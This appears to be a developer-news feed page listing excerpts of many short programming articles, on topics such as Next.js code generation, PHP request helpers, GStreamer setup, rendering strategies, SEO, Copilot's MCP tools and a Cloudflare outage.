    Part 1: An Extensible Typescript Code Generation Framework Part 2: Building Full-Stack Apps With Wasp Part 3: Creating a NextJS Plugin In Part 2, we explored how Swarm's Wasp plugin accelerates Wasp application development by generating context-aware boilerplate code. Now, let's dive deeper into Swarm's extensibility by building a plugin for Next.js from scratch. We'll create a route generator that supports Next.js's flexible routing system, including App Router, Pages Router, dynamic routes, and route groups. Next.js offers powerful routing capabilities through its file-based routing system, but creating routes manually can be repetitive. Whether you're using the App Router (app directory) or Pages Router (pages directory), you often find yourself creating similar file structures, co…  ( 14 min )
    tp5获取网站的域名host带http
    $http = (isHTTPS() == true ? "https://" : "http://") . $_SERVER['HTTP_HOST']; //获得 https://www.mantools.top  ( 5 min )
    One Year of Building My Untitled Horror Inspired OS Game
    Hi everyone, I'd like to share with you my Dev Logs. I've been writing them along side my game that I've been working on full time for almost a year now. I've published what I could for now, and I'll continue writing monthly posts. I'm working on a realistic horror inspired operating system simulation - with a 3D game built inside. This includes all of the expected programs, functionality, and more. I've had a lot of fun working on this project, so I'd like to start sharing it. One feature that I know will excite the modding community - I've included a way for developers to write their own programs in Lua - you can access either the command line API, GUI API, or the OpenGL API. - OpenGL is used for the wallpaper system, the command line and GUI are used for actual programs that can be ran within the game. It's still super early in development, so if this is something you are interested in helping shape, feel free to reach out! Please note, some assets shown are not the final version and will not be included in the release game Please note, some assets shown are not the final version and will not be included in the release game If you would like to follow my development and read my past Dev Logs, you can follow it here - https://stealthisgame.com/dev/  ( 6 min )
    PHP发送get和post请求
    PHP发送GET请求,用file_get_contents() PHP发送POST请求,用file_get_contents() /** * 发送post请求 * @param string $url 请求地址 * @param array $post_data post键值对数据 * @return string */ function send_post($url, $post_data) { $postdata = http_build_query($post_data); $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type:application/x-www-form-urlencoded', 'content' => $postdata, 'timeout' => 15 * 60 // 超时时间(单位:s) ) ); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result; } //使用方法 $post_data = array( 'username' => 'stclair2201', 'password' => 'handan' ); send_post('http://www.mantools.top', $post_data);  ( 6 min )
    File Upload UI for Non-Technical Users
    by Shamal Jayawardhana Why do so many file upload forms feel like they were built for developers… not users? If you’ve ever watched a non-technical teammate struggle to upload a simple PDF or image, you’re not alone. Confusing buttons, unclear instructions, and zero feedback often turn a basic action into a frustrating experience. For startups building MVPs or onboarding early users, a complicated file upload UI can mean the difference between conversion and churn. That’s why it’s critical to design upload interfaces that feel effortless — even for someone who’s never heard the word “backend.” In this guide, we’ll explore how to build a user-friendly file upload UI that’s intuitive, accessible, and startup-ready. Key takeaways Most traditional file upload UIs are built for developers, …  ( 11 min )
    10+ Trending Animated UI Component Libraries 🔥 (2025 Edition)
    Modern web apps aren’t just about buttons and forms anymore — they’re about experiences. The good news? You don’t have to build all of that from scratch. A new wave of animated UI component libraries gives you pre-built, copy-paste components powered by React, Tailwind CSS, Framer Motion, GSAP, and more. These libraries help you: Ship beautiful landing pages way faster Keep your UI consistent and on-brand Focus on product logic instead of re-inventing animations In this post, we’ll look at 10+ trending animated UI libraries you should absolutely know about in 2025. Stack: React, TypeScript, Tailwind CSS, Framer Motion ([magicui.design][2]) Magic UI is like a set of “premium landing page” building blocks you can just drop into your app. It ships with 20+ animated components (and growing), i…  ( 10 min )
    I built a product "BS Detector" using Gemini 2.0 Flash and AI Studio 🕵️‍♂️
    Let's be honest: online product reviews are often... broken. You see a gadget with 4.8 stars, but when you dig in, the reviews are either bots, "incentivized" reviews, or people who used the product for 5 minutes. I got tired of tab-switching between Amazon, Reddit, and YouTube to find the actual truth about a product. So, I built a Chrome Extension to do it for me! It’s called The BS Detector. It lives in the Google Chrome Side Panel, scrapes the product name, and uses Google Gemini 2.0 Flash (with Search Grounding) to cross-reference the product against real discussions on Reddit and independent forums. You could also use Gemini 2.5 Flash-Lite, or Gemini 2.5 Flash. Here is how I built it, the tech stack I used, and the "Aha!" moment regarding JSON schemas. I wanted to keep this lightweig…  ( 9 min )
    Unlocking Robot Agility: The Swarm Intelligence Secret
    Unlocking Robot Agility: The Swarm Intelligence Secret Imagine a search and rescue operation. A collapsed building, unstable terrain, and traditional robots struggling to navigate the debris. What if, instead, a swarm of tiny, agile robots could coordinate and self-organize to find survivors? What if they could even reconfigure themselves to overcome obstacles? The key to this level of adaptability lies in embracing the principles of active matter: systems composed of many interacting, energy-consuming units that exhibit complex collective behaviors. Think of a flock of birds or a school of fish. Each individual acts locally, but their combined actions produce remarkable coordinated movements and emergent behaviors. The magic here is in creating a system that allows robots to adapt to ch…  ( 7 min )
    Top 5 Trending APM Tools to Explore
    Hey devs! Why it’s trending: Key features: Distributed tracing Real-time dashboards Kubernetes, AWS, Azure integrations AI anomaly detection Ideal for: Datadog Why it’s trending: Key features: Distributed tracing Real User Monitoring (RUM) Error tracking and logs Cloud integrations (AWS, Azure, GCP) Ideal for: New Relic Why it’s trending: Key features: Real-time bug detection: ANRs, crashes, memory issues, and more (30+ bug types) Business impact mapping: Each bug is tied to goal conversion or revenue impact Quality Score: Single metric that summarizes overall app health across releases Network call tracking: Track API failures, delays, and duplicate calls for mobile backends Flutter support: Full APM capabilities for Flutter apps, alongside native iOS & Android Team collaboration: Slack & Jira integrations for workflow and issue tracking App startup monitoring: Tracks cold, warm, and hot starts for mobile apps Ideal for: Appxiom Why it’s trending: Key features: End-to-end performance monitoring Business transaction monitoring Cloud and on-prem support Automated baselining and alerting Ideal for: App Dynamics by Cisco Why it’s trending: Key features: Distributed tracing and error tracking Seamless integration with Elasticsearch, Kibana, Beats, and Logstash Open-source flexibility Lightweight agents for multiple languages Ideal for: Elastic.co TL;DR Tool Best for Key Strength Datadog Cloud-native apps Full-stack monitoring + AI alerts New Relic Small & medium teams Affordable & easy-to-use dashboards Appxiom Mobile apps Shows revenue loss, churn risk, and goal failures (30+ Bug types are identified) AppDynamics Enterprises Performance tied to revenue & business metrics Elastic APM Open-source enthusiasts Flexible, lightweight, ELK integration  ( 8 min )
    The Best Bad Example I'm Using to Teach Clean Code Principles in My Latest Book
    I originally posted this post on my blog. Finding good bad examples is hard. I've worked with ugly codebases that I don't want to revisit. But copying and pasting from them isn't a good idea. Apart from privacy issues, complex business rules and convoluted code blocks make them unusable for tutorials or lessons. A good bad example needs to be messy enough to teach from, but not so broken it confuses readers. Since we have all seen a good movie or gone to the cinema, I've shifted to movies and TV shows. They're familiar enough to use as examples. In fact, for my book, Street-Smart Coding, I chose a ticket pricing example that was clear but messy enough to teach a lesson. Here it is: // Simple ticket price logic float CalculatePrice(MovieTicketRequest request) { var ticketBasePrice = 40…  ( 7 min )
    Welcome Thread - v352
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself. Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 6 min )
    React Concepts Explained: Part 1 - Core Fundamentals
    React is packed with terminology that can sound intimidating at first—components, JSX, props, state, and hooks. But don't worry! In this two-part series, we'll break down every major React concept into simple, easy-to-understand explanations. Part 1 (this post) covers the essential fundamentals you need to start building React apps. Part 2 will dive into advanced patterns for building production-ready applications. By the end of this post, you'll understand the core building blocks of React and be ready to create your first interactive components! What are they? Components are the foundation of every React app. They're reusable pieces that represent visible parts of your UI—like buttons, inputs, forms, or entire pages. Why are they useful? Think of components like Lego blocks. Once you …  ( 13 min )
    mobile app
    Check out this Pen I made!  ( 5 min )
    Setup Gstreamer with Python on Windows
    When I started trying GStreamer with Python on Windows 10, it took me quite some time to set up the development environment. So this might help others on the way. The most convenient approach is through MSYS2. Here are the steps: 1.Download and install MSYS2: https://www.msys2.org. Remember [msys2_path] for environment variable. 2.Install Python, GStreamer, tools, plugins, and PyGObject Open MSYS2 UCRT64 terminal Update MSYS2 pacman -Syu. After this, the terminal may close; you need to open it again. Install gcc pacman -S mingw-w64-ucrt-x86_64-gcc Install Python, GStreamer, tools, plugins, and PyGObject pacman -S mingw-w64-x86_64-python3 mingw-w64-x86_64-gstreamer mingw-w64-x86_64-gst-devtools mingw-w64-x86_64-gst-plugins-{base,good,bad,ugly} mingw-w64-x86_64-python3-gobject Add the following paths to ~/.bashrc export PATH="/mingw64/bin:$PATH" export XDG_DATA_DIRS="/mingw64/share/:$XDG_DATA_DIRS" Apply bashrc: source ~/.bashrc 3.Test: run this on the terminal pip install pygobject python -c "import gi; gi.require_version('Gst', '1.0'); from gi.repository import Gst; print(Gst.version_string())"  ( 6 min )
    Cloudflare Outage Explained: How One Company Took Down Huge Parts of the Internet — Including X
    When large parts of the internet suddenly stop working, most people assume their Wi-Fi is down or their devices are acting up. But sometimes, the cause is far bigger. That was the case today when a major outage at Cloudflare, one of the most influential companies behind the scenes of the web, caused widespread disruptions across websites, apps, and online services—including X (formerly Twitter). For many users, this raised a simple question: How can one company affect such a massive portion of the internet? To understand the answer, we need to dig into what Cloudflare does, why so many companies rely on it, and how even a rare disruption can feel like the internet is collapsing. Cloudflare is a global internet infrastructure and security company, and millions of websites use it every day—e…  ( 9 min )
    🧱 SSR vs SSG vs ISR: Choosing the Right Rendering Strategy in 2025
    The web in 2025 is faster, smarter, and more dynamic than ever. But how your app renders still determines whether users stay or bounce. Let’s decode SSR, SSG, and ISR — and which one truly wins today. SSR generates HTML on-demand for every request. Frameworks like Next.js, Angular Universal, and Nuxt.js shine here. SEO-friendly and fast first paint. Always delivers the latest data. Heavier server load. Slower on repeated requests. export async function getServerSideProps() { const data = await fetchAPI(); return { props: { data } }; } SSG builds pages once at build time — lightning-fast delivery with CDN caching. Instant page loads. Super cost-effective and scalable. Data becomes stale until rebuild. export async function getStaticProps() { const posts = await fetchPosts(); return { props: { posts } }; } ISR is the hybrid approach — it combines SSG’s speed with SSR’s freshness by rebuilding pages in the background. Near real-time updates. Great balance of performance and data accuracy. export async function getStaticProps() { const posts = await fetchPosts(); return { props: { posts }, revalidate: 60, // Rebuild every 60s }; } Feature SSR SSG ISR In 2025, ISR is the sweet spot — it gives you the speed of SSG with the freshness of SSR. For pure static content, go SSG. For real-time dashboards, choose SSR. But if you want both — ISR is your best friend.  ( 7 min )
    Day 48 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/number-of-ways-to-arrive-at-destination/1 Path With Minimum Effort Difficulty: Medium Accuracy: 53.13% You are given a 2D array mat[][], of size n*m. Your task is to find the minimum possible path cost from the top-left cell (0, 0) to the bottom-right cell (n-1, m-1) by moving up, down, left, or right between adjacent cells. Examples: Input: mat[][] = [[2, 2, 2, 1], Constraints: Solution: while pq: d, x, y = heapq.heappop(pq) if (x,y) == (n-1,m-1): return d for dx, dy in [(1,0),(-1,0),(0,1),(0,-1)]: nx, ny = x+dx, y+dy if 0<=nx<n and 0<=ny<m: nd = max(d, abs(mat[nx][ny] - mat[x][y])) if nd < dist[nx][ny]: dist[nx][ny] = nd heapq.heappush(pq, (nd, nx, ny))  ( 7 min )
    Kiro Did It: Kiro Goes GA - And Replaces My Favorite CLI!
    Kiro Goes GA - And It Just Replaced My Favorite CLI! AWS announced the General Availability of Kiro on 11/17/25, and the update included several new features that immediately caught my attention. I have already appreciated Kiro for its vibe coding, specs-driven development approach, MCP integrations, and hooks. However, the most notable change for me was the introduction of the Kiro CLI and its seamless integration with the Kiro IDE. I had originally planned to explore the Kiro CLI over the upcoming weekend… but little did I know my exploration would take a surprising turn. Goodbye Q CLI, Hello Kiro CLI! While checking the documentation, I discovered something unexpected: Kiro CLI has officially replaced the Amazon Q Developer CLI In other words : one of my favorite dev tool CLIs got repl…  ( 7 min )
    SQL as Contract vs. Python as Procedure — a Short Note on Atlas vs. Alembic
    SQL as Contract vs. Python as Procedure — a Short Note on Atlas vs. Alembic The useful question isn’t “which tool is better?” but “what is our source of truth?” If your team wants the database schema itself—its tables, constraints, and indexes—to be the contract you review and protect, you’ll likely prefer a declarative, SQL‑first approach (Atlas‑style). If your team prefers to encode change as Python steps that live next to application code, you’ll likely prefer an imperative, script‑first approach (Alembic‑style). Declarative (state‑based) thinking starts from the destination. You write down the desired schema and let the tool compute a plan from current → desired. Review happens in the database’s language (DDL), not through an ORM’s interpretation. Because the plan is derived, it tends …  ( 7 min )
    Quesby 0.1.2 is now available!
    A lightweight static website boilerplate built on Eleventy and Nunjucks. https://github.com/quesby/quesby-boilerplate https://quesby.dev  ( 6 min )
    Methods and primitive type in JS
    JavaScript is designed on an object-based paradigm. How we use methods on primitives type🤔? How does JavaScript handle them? Let's go deep into it.🤗✌️ Primitive values null undefined string number bigint boolean symbol For example: let message="hello"; console.log(message.toUpperCase()); We said methods are actions that can be performed on object. But string is a primitive type so the JS engine highly optimize this process: JavaScript automatically boxes primitives into relevant objects when it encounters method calls on them.(Boxing) That method runs and returns a new value. const message=new String("hello"); The special object is destroyed, leaving the primitive string alone.(UnBoxing) The "object wrappers" are different for each primitive type and are called: String, Number, Boolean, Symbol and BigInt. Thus they provide different sets of methods. Null and undefined have no methods null and undefined are exceptions. They have no corresponding “wrapper objects” and provide no methods. In a sense, they are “the most primitive”.  ( 6 min )
    uniapp里 rich-text 里的img图片如何控制最大宽度
    uniapp里的富文本展示的时候,要控制里面的图片的最大宽度; //处理富文本里的图片宽度限制的样式 processedDetail(html) { if(!html){ return ''; } // 处理方法1: 强制替换所有图片样式 html = html.replace(/]*>/g, (imgTag) => { // 移除 width 和 height 属性 imgTag = imgTag.replace(/(width|height)=["'][^"']*["']/g, ''); // 处理 style 属性 if (imgTag.includes('style=')) { // 移除原有的 width/height 样式,添加 max-width imgTag = imgTag.replace(/style=["']([^"']*)["']/, (match, style) => { style = style.replace(/(width|height|max-width)[^;]*;?/g, ''); return `style="${style}max-width: 100% !important; height: auto !important; display: block;"`; }); } else { // 没有 style 属性,直接添加 imgTag = imgTag.replace('<img', '<img style="max-width: 100% !important; height: auto !important; display: block;"'); } return imgTag; }); return html; }  ( 6 min )
    Vibe Coding 🌟 With Google Antigravity
    TL,DR; I used Google Antigravity to roll out a feature improvement on the blog using Google Antigravity in under an hour! The task was to upgrade the Weekly Macro Report section of my blog, shifting from a manual coding approach to "vibe coding." The session resulted in refactoring the content structure to support historical archiving, updating the GitHub workflow to save reports chronologically, and enhancing the AI generation prompt with Google Search grounding for better accuracy. If you are not familiar, I implemented the "Weekly Macro Report" using Github Actions and Gemini 2.5 Pro API using AI Studio. The Github Action calls the Gemini API with a predefined prompt and saves the response to a markdown file. The markdown file is then rendered by Hugo and displayed on the website. Thi…  ( 7 min )
    🐘 PHP 8.5: 10 New Features, 4 Deprecations, and Why This Release Matters to Modern PHP Developers
    After two years of steady evolution, PHP is preparing to ship another major update — PHP 8.5, scheduled for release in November 2025. As someone who builds production-grade applications daily, I see PHP 8.5 as a meaningful step forward. It isn’t as disruptive as the JIT introduction in PHP 8.0, but it brings a collection of practical improvements that enhance developer experience, safety, and performance. PHP continues its journey toward becoming a more expressive and modern language — while still keeping the clarity and pragmatism we rely on. Here’s my breakdown of what’s new, what’s going away, and why this release is worth paying attention to. For developers working with long-running scripts, queue workers, or background tasks, this is a welcome upgrade. pcntl_async_signals(true); pcntl…  ( 8 min )
    8 Developer-Friendly SEO Workflows That Make SaaS Products More Discoverable
    Many SaaS engineers think SEO is “a marketing thing”, but in reality, it is deeply technical. When developers take ownership of search structure, load time, and scalability, the entire product becomes easier for users and search engines to understand. While reviewing insights from experts like MADX, I noticed that the most successful SaaS SEO strategies are built by development teams who integrate search optimization into their daily workflow. Here are eight effective workflows dev teams can adopt. 1. Semantic HTML structure Proper tags improve both accessibility and Google’s ability to interpret content. 2. Automated sitemap generation Dynamic SaaS products often create pages on the fly. 3. Lazy loading Use lazy loading for images and components to improve page performance. 4. Component-level performance profiling Profiling components reveals rendering bottlenecks that slow down key pages. 5. Pre-rendering for complex JavaScript Heavily JavaScript-driven SaaS dashboards often lose rankings because Google cannot fully interpret them. 6. Global CDN routing Routing content through a global CDN improves load times for international users. 7. Versioned documentation Developers who maintain versioned documentation create evergreen search assets automatically. 8. Git-based SEO fixes Treat SEO improvements like regular dev tasks. Final Thoughts Developers shape the foundation of search performance more than marketers realize. By integrating structured workflows like these, engineering teams can significantly increase product discoverability and long-term SEO stability.  ( 7 min )
    7 Technical SEO Practices Every Developer-Led SaaS Should Implement in 2025
    Developer-led SaaS products have a huge advantage: technical teams understand structure, architecture, and performance better than anyone. But even with that advantage, many dev-founded projects fail to grow because they overlook SEO fundamentals. I was reviewing several case studies from companies like MADX, and it’s clear that technical SEO is still one of the highest-impact levers for SaaS growth. Here are seven actionable practices developers can integrate into their workflow today. 1. Architecture-first SEO Developers who map their site structure before writing content create stronger search outcomes. 2. API-friendly content generation Using your product’s API to generate dynamic, updated content creates indexable value. Trend dashboards Public uptime history Real-time stats pages Google rewards freshness and utility at scale. 3. Core Web Vitals Most developers know them, but few optimize consistently. CLS stability LCP improvement Input delay reduction High performance directly correlates with higher organic conversion. 4. Log file analysis Analyzing server logs helps identify how Googlebot interacts with your site. 5. Error monitoring systems Treat SEO issues like bugs. Crawl errors Broken internal links Page spikes Slowdowns This keeps organic traffic stable. 6. Schema markup Structured data is becoming increasingly important. 7. Accessible UI components Accessibility affects search performance more than ever. Final Thoughts Developer-led SaaS teams have the technical power to outperform competitors in SEO. The strategies above take advantage of that strength by aligning code, structure, and search intent with long-term discoverability.  ( 7 min )
    How GitHub Copilot Uses MCP Tools — Behind the Scenes
    I’m Mashraf Aiman, and today I’ll walk you through how GitHub Copilot really works with MCP tools. What looks like magic is actually a well-orchestrated process that fetches the exact information you need — quickly, accurately, and efficiently. When you ask Copilot something like "Are there any pull requests waiting for me?", it doesn’t guess. Behind the scenes, Copilot uses a tool from the GitHub MCP server designed to query your repositories. The MCP server exposes tools with names, descriptions, and input requirements. Copilot identifies the correct tool, fills in the parameters based on your context, and sends the request to the server. The MCP server returns structured data, which Copilot transforms into a clear, readable answer for you. You see concise pull request information instead of raw data. This step ensures that the model output is human-friendly, actionable, and instantly useful. To answer accurately, Copilot needs information like: Your GitHub username The repository you’re working in Current branch and other session metadata This context is explicitly provided by the client, so Copilot never has to guess. Understanding how tools, servers, and structured outputs work helps you: Know which tools are available and how to use them Configure MCP servers effectively Design workflows that maximize efficiency Magic is impressive, but knowledge gives control. GitHub Copilot with MCP tools is not about replacing developers; it’s about amplifying your capabilities. By understanding what happens behind the scenes, you can work smarter, automate repetitive tasks, and focus on building great software. Stay tuned for more insights into how Copilot, VS Code, and MCP work together to make development faster and smarter.  ( 8 min )
    计算机模拟三体运动
    我这个三体实在一个平面内的,真三体没时间做了 B站视频讲解 三体 #earth{width:24px;height:24px;background: orange; left: 0; position: absolute; border-radius:50%;z-index: -9;} #moon{width:14px; height:14px; border-radius:50%; background:red; position:absolute;} #sun{width: 24px;height:24px;background: purple;border-radius: 12px;position: absolute;left: 200px;bottom: 0; } .box{position:relative;top:525px; left:50%; display: table;} .line1{width:600px;height:2px; background:…  ( 6 min )
    计算机模拟双星系统
    B站视频讲解 双星 #earth{width:24px;height:24px;background: orange;margin-left: -12px;margin-top: -12px; left: 0;bottom: 0; position: absolute; border-radius:50%;z-index: -9;} #moon{width:14px; height:14px; border-radius:50%; background:red; margin-left:-7px;margin-top:-7px; position:absolute;} .box{position:relative;top:325px; left:50%;margin-top:-12px;margin-left:-12px;} .line1{width:600px;height:2px; background:red; position:absolute;left: 2px;top:-1px;} .line2{width:1px;height:400px; background:black; position:absolute;left…  ( 6 min )
    计算机模拟地月系统
    B站视频讲解 月亮和地球 #earth{width:0px;height:0px;border:24px solid orange;position:relative;top:325px; left:50%;margin-top:-12px;margin-left:-12px; border-radius:50%;} #moon{width:14px; height:14px; border-radius:50%; background:red; margin-left:-7px;margin-top:-7px; position:absolute;} <di…  ( 6 min )
    Blink Diagnostics: Decoding Health One Flutter at a Time
    Blink Diagnostics: Decoding Health One Flutter at a Time Imagine a world where a simple blink could reveal hidden health insights. We're not quite there yet, but we're closer than you think. What if the subtle nuances of your eyelid movements could unlock early detection of neurological issues or provide insights into the severity of dry eye syndrome? The core concept revolves around using mobile computer vision to analyze eyelid movements in real-time. It leverages sophisticated algorithms to detect and measure blinks with incredible precision directly on a mobile device. This allows for immediate, objective data without relying on expensive or cumbersome equipment. Think of it like this: your eye movements are like Morse code, and the algorithm is the translator, deciphering the hidde…  ( 7 min )
    stopPropagation()、catch (_)、定位属性、chrome.runtime.getURL、requestAnimationFrame()
    stopPropagation() e.stopPropagation()的作用是 阻止事件继续冒泡(Propagation)。 当前元素的父元素不会再收到这个事件 祖先元素也不会收到这个事件 其他监听器(在冒泡阶段)不会被触发 catch (_) 中的 下划线 _ 只是一个变量名,表示“我不关心这个错误对象”。 在 JavaScript 中: try { // 可能会抛出错误的代码 } catch (err) { // err 是错误对象 } 但如果你 不需要使用错误对象(比如只想吞掉错误,不做处理),你可以写成: catch (_) {} 因为: catch 后面必须写一个“接收错误对象的变量名” 但你又不想使用它 使用 _ 表示“这个变量不会被用到”,是一种常见约定写法(语义等同于“忽略这个值”) 在 较新版本的 JavaScript(ES2019/ES10)中,可以写: catch {} 这是“可选 catch 绑定”语法,不需要变量名。 但如果为了兼容旧浏览器(特别是 Chrome 扩展很多人要求更广兼容性),开发者可能仍然写: catch (_) {} left: 50%:把这个元素的左边界放到父容器宽度的 50% 位置 chrome.runtime.getURL() 是 Chrome 扩展(Chrome Extension)专用 API,用于 根据扩展内的相对路径,生成一个可在网页 / 扩展脚本中使用的绝对 URL。 这是扩展开发中常用的一个函数,尤其在加载静态资源(图片、脚本、样式、模型文件等)时用得特别多。 把扩展内的文件路径转换成可访问的完整 URL 扩展的资源文件不能直接用相对路径访问,比如: assets/icon.png 在扩展运行时,Chrome 会把这些文件映射到一个特殊的扩展 URL,例如: chrome-extensi…  ( 7 min )
    2025 Fuel Stabilization Secrets for Yacht Owners
    Fuel care for yachts has entered a new era in 2025, driven by evolving engine technologies, increasingly sensitive fuel systems, and the real-world challenges that yacht owners face when storing their vessels for extended periods. Modern engines—whether the Volvo Penta IPS600 on a 45-foot cruiser, a Yanmar 4LV on a sailing yacht, or the MAN V12 powering an 80-foot motor yacht—are built with tight tolerances and high-pressure injection systems that are far less forgiving of degraded or contaminated fuel. As a result, owners who overlook fuel stabilization often encounter hard starts, power loss, injector clogging, and bacterial contamination that can lead to thousands of dollars in repairs. This is where a proper understanding of fuel degradation becomes indispensable. In fact, many yacht o…  ( 15 min )
    C#: Add Page Numbers to a PDF Document
    Have you ever found yourself painstakingly adding page numbers to a lengthy PDF report, contract, or manual? The sheer thought of manually updating each page can be a developer's nightmare. In today's fast-paced digital world, efficiency is key, and manual processes are often bottlenecks. Missing or incorrectly formatted page numbers can lead to confusion, difficulty in referencing, and a less professional-looking document. This is where automation shines. This article will guide you through a powerful and efficient solution: programmatically adding page numbers to PDF documents using C# and the Spire.PDF for .NET library. Say goodbye to manual drudgery and embrace a streamlined, automated workflow for your PDF Document Numbering needs. Page numbers are more than just cosmetic additions; t…  ( 10 min )
    浮动动画
    let bobberPhase = 0; const bobberAnimate = () => { if (!mini || !bobber.parentNode) return; // 已移除则停止 bobberPhase = (bobberPhase + 0.05) % (Math.PI * 2); const offsetY = Math.sin(bobberPhase) * 15; // -15px ~ +15px bobber.style.transform = `translateX(-50%) translateY(${offsetY}px)`; requestAnimationFrame(bobberAnimate); }; bobberAnimate(); // 启动 sin()永远在-1~1之间 % (Math.PI * 2) 2π 是正弦波的一个周期, 0 ~ 2π这一圈就够了。 不取模会导致 bobberPhase 无限变大 让动画永远平滑地循环 bobberPhase += 0.05,如果超过 2π,就从 0 重新开始 0 → 0.05 → 0.10 → ... → 6.28 → 0 → 0.05 → 0.10 → ...相位永远不会失控,也不会变成巨大数字。  ( 6 min )
    Rebase and Always Take the Upstream Version
    git rebase main git checkout --theirs {path} git add . git rebase --continue  ( 6 min )
    Data Analysis - Matplot Lib - Notes
    Matplotlib is a powerful and versatile open-source plotting library for Python, designed to help users visualize data in a variety of formats. Developed by John D. Hunter in 2003, it enables users to graphically represent data, facilitating easier analysis and understanding. If you want to convert your boring data into interactive plots and graphs, Matplotlib is the tool for you. Components or Parts of Matplotlib Figure The parts of a Matplotlib figure include (as shown in the figure above): Figure: The overarching container that holds all plot elements, acting as the canvas for visualizations. Axes: The areas within the figure where data is plotted; each figure can contain multiple axes. Axis: Represents the x-axis and y-axis, defining limits, tick locations, and labels for data interpre…  ( 16 min )
    Refining a Professional Portfolio with Google Antigravity: A Zero-Friction Workflow
    Google Antigravity launched today so I decided to give it a try. In this post, I'll walk through how I refreshed my professional portfolio using Google Antigravity, an advanced AI coding agent. What makes this update unique isn't just the content changes—it's how they were made. I completed the entire process without ever opening an external IDE, touching the command line, or visiting GitHub.com. I needed to update the main landing page (index.md) of my GitHub Pages portfolio. My goals were: Refine the Professional Profile: Make the bio more impactful. Add a Tagline: Create a strong hook to summarize my value. Privacy Updates: Remove specific graduation years. Formatting Fixes: Improve consistency. Instead of manually editing files, I simply told Antigravity what I wanted. The entire sess…  ( 7 min )
    How I Automated the Transcription of 91 Instagram (screenshots) Poems Using Python + LLM Vision (Real Case Study)
    ✨ The Story Begins There is always that one message from a friend that starts like this: “Hey… I do not think I can make it today because something came up.” My friend Mariana, a community manager for a local Instagram poet, had a problem. Her client publishes several poems every night as images. These images have handwritten text, stylized filters, shadows, messy backgrounds and artistic layouts. After a few months of doing this, all the poems were saved inside a Highlight titled “Poetry Vault.” It looks cute on Instagram. Mariana had 91 images waiting for her. Her brain in that moment looked like this: She told me she could not help me with something we had planned. She had to spend the entire day typing. So I said the sentence every developer eventually says: “We can automate this.” …  ( 8 min )
    Android Basic
    1. Components Activity 사용자 진입점, 여러활동이 함께 작동 가능, 서로 독립적. 화면을 추적, 시스템은 Activity가 호스팅하는 프로세스를 계속 실행. 백그라운드 계속 실행 진입점 시작된 서비스: 작업 완료 전까지 서비스 계속 실행하도록 시스템에 지시. (앱을 떠나도 유지) 바인딩된 서비스: 라이브 배경화면, 알림 리스너, 화면 보호기, 입력 방법, 접근성 서비스 및 기타 여러 핵심 시스템 기능 모두 애플리케이션이 구현하는 서비스로 빌드되며 애플리케이션이 실행될 때 시스템이 바인딩됨. 시스템이 이벤트를 앱이 시스템 전체 브로드캐스트에 응답할 수 있도록, 앱 공지사항. Broadcast는 Intent 객체로 전달 앱에서 알람을 예약하여 사용자에게 예정된 이벤트에 대해 알리는 알림을 게시 -- Intent --> BroadcastReceiver 데이터베이스 추상화 파일시스템 SQLite DB Web Intent라는 async 메시지는 4가지 구성요소 유형인 활동, 서비스, broadcast receiver를 분해. 런타임에 각 구성요소르르 서로 바인딩 AndroidManifest.xml 앱 구성 요소를 시작하려면 먼저 구성요소의 존재 여부를 확인하는 방법은 앱의 매니페스트 파일 앱이 요구하는 모든 사용자 권한 API 최솟값 앱이 요구하는 하드웨어, 소프트웨어 기능 앱을 연결해야하는 API 라이브러리  ( 6 min )
    Data Analysis - Python OOPS
    Class A class is a collection of objects. Classes are blueprints for creating objects. A class defines a set of attributes and methods that the created objects (instances) can have. Some points on Python class: Classes are created by keyword class. class Dog: species = "Canine" # Class attribute def __init__(self, name, age): self.name = name # Instance attribute self.age = age # Instance attribute Explanation: class Dog: Defines a class named Dog. init method: Initializes the name and age attributes when a new object is created. Objects An Object is an instance of a Class. It represents a specific implementation of the class and holds its own data. An object consists of: State: It is represented by the attributes and reflects the properties of an object. Beh…  ( 12 min )
    Data Analysis Week 5 Notes
    Business Intelligence Overview Main Components of Business Intelligence System: Data Source Data Mart / Data Warehouse Data Exploration Data Mining Optimization Decisions Data Source Data Mart / Data Warehouse Data Exploration Data Mining Optimization Types of Users of Business Intelligence Analyst (Data Analyst or Business Analyst): They are the statistician of the company, they used BI on the basis of historical data priorly stored in the system. Head or Manager of the Company: Head of the company uses Business Intelligence used to increase the profitability of their company by increasing the efficiency in their decisions on the basis of all the knowledge they discovered. Types of Decisions Supported by Business Intelligence Strategic Level: The strategic level is the level where the H…  ( 9 min )
    AI Amnesia: Erasing Knowledge Without a Trace
    AI Amnesia: Erasing Knowledge Without a Trace Imagine your AI model accidentally learned something it shouldn't have – sensitive customer data, for example. Current methods for deleting this information often require retraining the entire model, an expensive and time-consuming process. What if we could surgically remove that knowledge without starting from scratch? The key lies in a novel approach: creating artificial "forgetting cues." We're teaching the model to unlearn specific data patterns by exposing it to carefully crafted synthetic examples. These examples are designed to strongly contradict the information we want the model to forget, effectively overwriting the problematic associations in its memory. This works even if you don’t have access to the original data you need to eras…  ( 7 min )
    Do Something While Someone Logs Into Your Linux System
    Have you ever wanted to automatically run a script, display a message, or execute a command when someone logs into your Linux system? Whether you're setting up a welcome message, initializing environment variables, or running system checks, Linux provides several powerful ways to execute commands during the login process. In this tutorial, I'll walk you through the different methods and best practices for running commands on user login. When a user logs into a Linux system, several configuration files are executed in a specific order. Understanding these files is key to choosing the right place for your commands. 1. /etc/profile - System-wide configuration Executed for all users during login shell Requires root access to modify Perfect for global settings 2. ~/.bash_profile - User-specific…  ( 9 min )
    [Boost]
    The lumberjack paradox: From theory to practice Jennifer Davis for Google Cloud ・ Nov 19 #cloud #ai #programming  ( 6 min )
    The lumberjack paradox: From theory to practice
